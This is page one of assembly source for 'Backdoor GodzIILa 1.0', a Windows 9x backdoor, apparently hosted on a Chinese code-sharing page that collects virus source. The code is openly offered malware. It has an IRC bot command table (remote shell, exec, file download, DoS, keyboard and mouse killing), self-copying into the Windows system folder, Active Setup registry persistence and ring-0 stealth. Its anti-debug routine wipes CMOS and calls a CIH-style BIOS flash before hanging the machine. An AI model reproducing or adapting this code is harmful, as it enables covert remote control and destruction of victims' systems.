29a-7.020

来自「从29A上收集的病毒源码」· 020 代码 · 共 3,316 行 · 第 1/5 页

020
3,316
字号

 COMMENT ^
 ---------------------------------------------------------------------------
 				Backdoor GodzIILa 1.0
 ---------------------------------------------------------------------------
 
 win9x backdoor with some kewl featurez. written in offset-independant way. uses
 z0mbie's KME to produce new generations (code is fully functional, but u will 
 still need to write your own loader. code is pretty much self-explanatory and
 well commented. some parts of it were inspired by Ratter's I-worm Anarxy, which
 is a masterpiece, but done in a more optimized way. codestyle ripped from z0mbie,
 the c00l35t dude on the planet :)
 
 Greets to IIL team members (BoyScout, DownBload, Fr1c, h4z4rd, StYx), AS, NHC team
 and everyone participating on forum discussions. 
 
 Coded by Sunnis (annihilator@inet.hr). Come and visit IIL @ www.ii-labs.tk
 
 
 
 ^


				p586
				model flat,  stdcall
				locals  __
				%NOINCL

include 		..\include\mz.inc
include 		..\include\pe.inc
include 		..\include\useful.inc
include 		..\include\myapis.inc				
include 		..\include\razno.inc
include 		..\include\s2c.inc
include			..\maplib\fioexhdr.inc
include			..\maplib\extrns.inc
include 		..\kme\kme.inc

; flags 

;CRC32_TEST = 1				; integrity check via CRC32
;TRAP_TEST = 1				; anti-debug thread: check for a tracer
;PENTIUM_TEST = 1			; check for pentium processor
IRC_BOT	= 1				; launch an irc bot
IRC_LOG = 1				; log the irc traffic
;LOCALHOST = 1				; connect to the local host (irc, i used tes/tirc irc server)
BUILD_DROPPER=1				; build a dropper
;ANTI_AV=1				; kill local AV & FW
;STEALTH_API=1				; stealth our registry keys
STEALTH_API2=1				; filemon and some AV an-access monitor fuckup
;ANTI_DEBUG=1				; check for a debugger & preform fuckup

INET_THREADZ_COUNT	equ	1	; just an irc bot for now
CODE_CRC32		equ	0
CONNECT_PORT		equ	6667	; hybserv on irc.carnet.hr

				.data

				db ?

				.code
troj_start:
NUM_DLLZ		equ	8

bot_password		dd	0 
			org	$-4
whash			<IllegalInstructionLabs_Rock_Da_House>		; default bot password. don't forget to change it! :)

operators:
			dd	0					; numba of ops
			operator MAX_OPERZ_ALLOWED dup (<>)
			dd	-1

cmd_dispatch_table:	BUILD_DISPATCH_TABLE login, quit, reconnect, opme, exec, version, info, shell, chg_pswd, send
			BUILD_DISPATCH_TABLE del, reboot, ls, pwd, cd, mkdir, rmdir, move, copy, spawn
			BUILD_DISPATCH_TABLE msgbox, cleanclip, beep, closeaw, opencd, closecd, minaw, syskill, killkeyb, killmouse
			BUILD_DISPATCH_TABLE logout, download, procs, kill, opers, dos, stopdos
			db	5, 01h, "PING"
			dd	offset bot_PING_cmd
			db	9, 01h, "DCC SEND"
			dd	offset bot_recv_cmd
			db	0

start:
IFDEF BUILD_DROPPER
include			dropper.asm
include			..\include\console.inc
ENDIF ; BUILD_DROPPER
			
troj_entry:		pusha
			@SEH_SetupFrame <jmp	troj_exit>
			call	$+5
gdelta:			pop	ebp					; calculate global delta handle

G			equ	<-gdelta[ebp]>				; all variables relative to gdelta will be accessed in form of: varname G

IFDEF CRC32_TEST
			lea	edx, __CRC32_prot G			; take ptr to CRC32 protected code
			mov	ecx, troj_end-__CRC32_prot		; size of code
			call	CRC32					; calculate CRC32

			db	02dh					; and compare it...
crc32_glob		dd	CODE_CRC32
	
__CRC32_prot:		neg	eax					; (CRC32 == OK) ? CF=0 : CF=1
			sbb	ecx, ecx				; CF->ECX
			jecxnz	troj_exit
ENDIF ; CRC32_TEST
			
IFDEF PENTIUM_TEST
			pushf
			pop	ecx					; EFLAGS -> ecx
			mov	eax, ecx				; now in eax
			bts	eax, 21					; set ID bit
			push	eax
			popf						; eax -> EFLAGS
			pushf
			pop	eax					; EFLAGS -> eax
			sub	ecx, eax				; is it the same?
			jecxz	troj_exit				; blah, we r on 486-

			xor	eax, eax
			inc	eax					; eax = 1 for cpuid
			cpuid
 			and	eax, (16-1) shl 8			; proc. family r bits 8-11
			cmp	ah, 4					; is it 486?
			jz	troj_exit				; lucky 486 :)
ENDIF ; PENTIUM_TEST
			call	get_base				; load kernel imagebase

			lea	edi, kernel G
			stosd						; save it
			lea	edi, [edi+kernel32-kernel-4]		; add the difference and substract NULL offset
			push	edi					; save it 4 l8r
			stosd						; into first dll record
			xchg	ebx, eax				; kernel imagebase goes into ebx
			gethash	<LoadLibraryA>				; we need this API to map those dlls into ur own address space
			push	hash					; push calculated hash
			call	load_dll_address			; and find the damn API

			xchg	esi, eax				; esi = LoadLibraryA
			lea	edi, [edi+size dll_record-4]		; lea	edi, [ebp+shlwapi-gdelta] = second dll record, but this 1 produces smaller opcode 
			push	NUM_DLLZ-1				; counter into ebx
			pop	ebx

			@pushsz	"WINMM"					; TODO: crypt somehow this crap
			@pushsz	"MSVCRT"
			@pushsz	"ADVAPI32"				; reverse order
			@pushsz	"WS2_32"
			@pushsz	"WININET"
			jmp	a0001_skip				; skip exit routine

troj_exit:		@SEH_RemoveFrame				; i've put it here so that it can be in the range of those jecxz
			popa
			push	0
			db	0b8h
_dd_ExitThread		dd	?			
			call	eax

a0001_skip:		@pushsz	"USER32"
			@pushsz	"SHLWAPI"
__1:			call	esi					; LoadLibraryA
			stosd						; save it in dll record
			lea	edi, [edi+9]				; skip unnecessary structure members
			dec	ebx
			jnz	__1					; decrement counter and loop

			mov	ebx, ebp
			sub	ebx, offset gdelta			; ebx = delta offset

			push	NUM_DLLZ
			pop	ecx					; for all dll records

			pop	edi					; lea	edi, [ebp+kernel32-gdelta]
			push	edi					; we'll need it l8r
__rel:			lea	edi, [edi.Hash_table]			; skip Dll_Imagebase
			mov	esi, edi				; to esi as store ptr
			lodsd						; take a hard-coded value
			add	eax, ebx				; relocate
			stosd						; and save it
			lodsd						; repeat for Address_table
			add	eax, ebx				; relocate
			stosd						; and save it
			inc	edi					; skip Api_number
			loop	__rel					; loop for every dll record

			pop	esi					; lea	esi, [ebp+kernel32-gdelta]
			push	NUM_DLLZ
			pop	ecx					; all the dlls

__dll:			pusha
			lodsd
			xchg	eax, ebx				; ebx = dll imagebase
			lodsd
			push	eax					; save ptr to Hash_table
			lodsd						; take ptr to Address_table
			xchg	eax, edi				; in edi
			lodsb
			movzx	ecx, al					; Api_number in ecx
			pop	esi					; and restore esi

__api:			lodsd						; take APIs hash
			push	eax					; push it as procedure param.
			call	load_dll_address			; find its address
			xchg	eax, ecx
			jecxz	troj_exit				; exit on error
			xchg	eax, ecx
			stosd						; save APIs address
			loop	__api					; and loop for all APIs

			add	[esp.Pushad_esi], size dll_record	; take ptr to next dll record
			popa
			loop	__dll					; and loop for that dll

			PATCH_API	ExitThread, wsprintfA, HeapAlloc, HeapFree

			lea	esi, _OpenMutexA G
			x_push	eax, KewlMutex~
			push	esp
			xor	ebx, ebx
			push	ebx
			push	SYNCHRONIZE
			lodsd
			
			call	eax					; OpenMutexA
			x_pop
			xchg	eax, ecx
			;jecxz	__new					; is it already installed?
			jmp	__new

			push	ecx
			lodsd
			call	eax					; CloseHandle
			
			jmp	troj_exit

__new:			add	esi, 4
			push	ebx ebx ebx ebx ebx
			callg	PeekMessageA				; remove the hour-glass cursor

			lodsd
			push	1					; disable error messages
			call	eax					; SetErrorMode

			push	ebx ebx ebx
			lodsd
			call	eax					; HeapCreate

			test	eax, eax
			jz	troj_exit

			mov	_dd_heap_handle G, eax
			mov	_dd_heap_handle_1 G, eax
			mov	heap_handle G, eax

			mov	eax, fs:[TEB_PEB]			; take ptr to PEB
			test	eax, eax				; is it above 80000000h?
			jns	NT_startup				; if so, we r on NT
			
			lodsd
			xchg	eax, ecx
			jecxz	__skip					; is RegisterServiceProcess present?

			push	1
			push	ebx
			call	ecx					; is so, stealth ourselvez
			
__skip:			mov	eax, 200
			call	malloc
			xchg	eax, ebx
			
			push	esi
			lea 	esi, _get_r0_mark G
			call	call_in_ring0
			movzx	ecx, (_which_gen G).byte ptr 0

			jecxz	__first_gen
			dec	ecx
			jecxz	__loaded_in_windir
			
			jmp	__ex
									
__first_gen:		inc	(_which_gen G).byte ptr 0
			lea	esi, _store_r0_mark G
			call	call_in_ring0
			pop	esi
			
			call	__do_file_copy
			
			xor	eax, eax
			push	eax
			push	eax
			push	eax
			push	eax
			push	eax
			push	STARTF_USESHOWWINDOW
			push	10
			pop	ecx
			push	eax
			loop	$-1
			push	68
			mov	edx, esp
			
			
			sub	esp, size PROCESS_INFORMATION
			push	esp
			push	edx
			push	eax
			push	eax
			push	CREATE_NEW_CONSOLE			; !!
			push	eax
			push	eax
			push	eax
			push	eax
			push	ebx
			callg	CreateProcessA				; Y DA FUCK IT INHERITS DOS WINDOW??
			
			add	esp, 68+size PROCESS_INFORMATION
			
__ex:			xor	ecx, ecx
			push	ecx
			callg	GetModuleHandleA
			
			push	eax
			callg	FreeLibrary
			
			push	edi
			callg	DeleteFileA
			
			xchg	eax, edi
			call	free
			
			push	0
			callg	ExitProcess				; ExitThread surprisingly causes gpf, but only when trw200 is on!
			
__loaded_in_windir:	mov	(_which_gen G).byte ptr 0, 2
			lea	esi, _store_r0_mark G
			call	call_in_ring0
			pop	esi
			
			jmp	__continue
						
__do_file_copy:		push	ebx esi

			push	8
			pop	ebx
			x_push	eax, !%windir!%\system\system32.exe~
			lea	edi, [esp+16]
			mov	esi, _Sleep G
			call	GenRandString
			x_stosd	<.exe>
			xor	al, al
			stosb

			mov	esi, [esp+_xsize]
			mov	ebx, [esp+_xsize+4]
			_xsize	= _xsize+8
			
			mov	ecx, esp
			push	200
			push	ebx
			push	ecx
			lodsd
			call	eax					; ExpandEnvironmentStringsA
			x_pop
	
			mov	eax, 300
			call	malloc
			xchg	eax, edi
	
			push	300
			push	edi
			push	0
			lodsd
			call	eax					; GetModuleFileNameA
	
			push	0
			push	ebx
			push	edi
			lodsd
			call	eax					; CopyFileA

			retn
			
__continue:		push	200
			push	ebx
			push	0
			callg	GetModuleFileNameA
			xchg	eax, ecx
			
			x_push	eax, <Software\Microsoft\Active Setup\Installed Components\EvionInstall~>
			mov	edi, _xsize
			mov	ecx, esp
			x_push	eax, <StubPath~>
			add	edi, _xsize
			mov	eax, esp
			push	esi
			push	ebx
			push	REG_SZ
			push	eax
			push	ecx
			push	HKEY_LOCAL_MACHINE
			callg	SHSetValueA
			lea	esp, [esp+edi]				; adjust stack frame

			x_push	ecx, <Software\Microsoft\Active Setup\Installed Components\EvionInstall~>
			push	esp
			push	HKEY_CURRENT_USER
			callg	SHDeleteKeyA
			x_pop

			xchg	eax, ebx
			call	free

			x_push	eax, KewlMutex~
			push	esp
			push	1
			push	0
			callg	CreateMutexA
			x_pop
	
			test	eax, eax
			jz	troj_exit

			callg	GetLastError
			
			xor	al, ERROR_ALREADY_EXISTS
			jz	troj_exit

IFDEF ANTI_AV
			lea	eax, anti_av_thread G
			call	Create_Thread
			mov	h_av_thread G, eax
ENDIF ; ANTI_AV

IFDEF STEALTH_API
			lea	eax, stealth_thread G
			call	Create_Thread
			mov	h_stealth_thread G, eax
ENDIF ; STEALTH_API

IFDEF STEALTH_API2
			lea	eax, stealth_thread2 G
			call	Create_Thread
			mov	h_stealth_thread2 G, eax
ENDIF ; STEALTH_API2

IFDEF ANTI_DEBUG
			lea	eax, killer_thread G
			call	Create_Thread
			mov	h_killer_thread G, eax
ENDIF ; ANTI_DEBUG

__main_thread_wait:	push	1000
			callg	Sleep

__main_thread:		call	onlyne
			jecxz	__main_thread_wait

			mov	(_onlyne_flag G).byte ptr 0, 1

			sub	esp, 1000h
			push	esp
			push	1
			callg	WSAStartup
			add	esp, 1000h

			test	eax, eax
			jnz	troj_exit

IFDEF IRC_BOT
			lea	eax, ircbot_thread G
			call	Create_Thread
			mov	inet_threadz G, eax
ENDIF ; IRC_BOT

__onlyne_loop:		push	1000
			callg	Sleep

			call	onlyne
			jecxz	__not_onlyne

			jmp	__onlyne_loop

__not_onlyne:		and	(_onlyne_flag G).byte ptr 0, 0

			push	-1
			push	1
			lea	eax, inet_threadz G
			push	eax
			push	INET_THREADZ_COUNT
			callg	WaitForMultipleObjects

			inc	eax
			cmp	eax, WAIT_TIMEOUT
			jnz	__close_threads

			lea	esi, inet_threadz G
			push	INET_THREADZ_COUNT
			pop	ecx

__kill_threads:		push	ecx
			push	0
			lodsd
			push	eax
			callg	TerminateThread
	
			pop	ecx
			loop	__kill_threads

__close_threads:	lea	esi, inet_threadz G
			push	INET_THREADZ_COUNT
			pop	ecx

__close_handles:	push	ecx
			lodsd
			push	eax
			callg	CloseHandle

			pop	ecx
			loop	__close_handles

			callg	WSACleanup

			push	(heap_handle G).dword ptr 0
			callg	HeapDestroy

			jmp	__main_thread

killer_thread		proc	pascal
			
			call	$+5
killdelta:		pop	ebx

_killa			equ	<-killdelta[ebx]>

__cycle:
IFDEF TRAP_TEST
			pusha
			lea	eax, _traced _killa			; calculate offset of _traced_off
			mov	_traced_off _killa, eax			; and store it
			xor	eax, eax
			call	__trap

			mov	eax, 12345678h
_traced_off		equ	$-4
			inc	byte ptr [eax]				; byte ptr [ebp+_traced-gdelta], set the mark
			xor	eax, eax
			retn

__trap:			push	dword ptr fs:[eax]			; set new SEH frame
			mov	fs:[eax], esp

			pushf
			or	byte ptr [esp+1], 1			; set TF (bit 8)
			popf
			nop

			xor	eax, eax
			pop     dword ptr fs:[eax]
			pop     ebx					; add esp, 4 if it was an exception, otherwise remove the return address
			popa
			dec	(_traced _killa).byte ptr 0
			js	__do_fuckup				; some asshole is tracing us...
ENDIF ; TRAP_TEST
			mov	eax, ebx
			cdq
			mov	eax, fs:[edx.TEB_ClientId.CID_UniqueProcess]	; test app-level debugger
			xor	eax, ecx
			xor	ecx, eax
			xor	eax, ecx
			jecxnz	__do_fuckup
			
			call	_GetTickCount _killa 
			xchg	eax, ebx
			nop
			nop
			call	_GetTickCount _killa 
			sub	eax,ebx
			jnz	__do_fuckup
			
			x_push	eax, <\\.\SICE>
			mov	eax, esp
			cdq
			push	edx
			push	FILE_ATTRIBUTE_READONLY
			push	OPEN_EXISTING
			push	edx
			push	FILE_SHARE_READ
			push	GENERIC_READ
			push	eax
			call	_CreateFileA _killa
			inc	eax
			jz	__do_fuckup
			
			jmp	__cycle

__do_fuckup:		lea	esi, __r0_fuckup _killa
			call	call_in_ring0

__r0_fuckup:		xor     al, al					; fuck CMOS
__cmos:			out     70h, al
			out     71h, al
			dec     al
			jnz     __cmos
			
			call	cihflash				; yo momma :))

			int	19h					; hang 'em all!
			
killer_thread		endp

stealth_thread2		proc	pascal
			call	$+5
stealthdlta2:		pop	ebx

_STLTH2			equ	<-stealthdlta2[ebx]>
			
			lea	eax, _this_name _STLTH2
			push	MAX_PATH
			push	eax
			push	0
			call	_GetModuleFileNameA _STLTH2
			xchg	eax, ecx
			jecxz	__1
			
			mov	__this_length _STLTH2, ecx
			
			lea	esi, __ring_fs _STLTH2
			call	call_in_ring0
__1:			jmp	$

__ring_fs:		pusha

			push    PAGEFIXED or PAGEZEROINIT		; flags
                        xor     eax, eax
                        push    eax     				; *PhysAddr
                        push    eax     				; maxPhys
                        push    eax     				; minPhys
                        push    eax    					; AlignMask
                        push    eax    				 	; handle of VM (==0 if PG_SYS)
                        push    PG_SYS  				; pType
                        push    (stealthsplore_size+4095) shr 12	; nPages
                        VMMcall PageAllocate
                        add     esp, 8*4

                        mov	[esp.Pushad_eax], eax			; eax = mem handle

                        push    PC_STATIC                  		; OR_MASK
                        push    not (PC_WRITEABLE+PC_USER) 		; AND_MASK
                        push    (stealthsplore_size+4095) shr 12
                        shr     eax, 12
                        push    eax
                        VMMcall PageModifyPermissions			; make pages inaccessible from ring3
                        add     esp, 4*4

			mov	edi, [esp.Pushad_eax]
			push	edi
			lea	esi, stealthsplore_start _STLTH2
			mov	ecx, stealthsplore_size
			rep	movsb
			
			pop	eax
		

⌨️ 快捷键说明

复制代码Ctrl + C
搜索代码Ctrl + F
全屏模式F11
增大字号Ctrl + =
减小字号Ctrl + -
显示快捷键?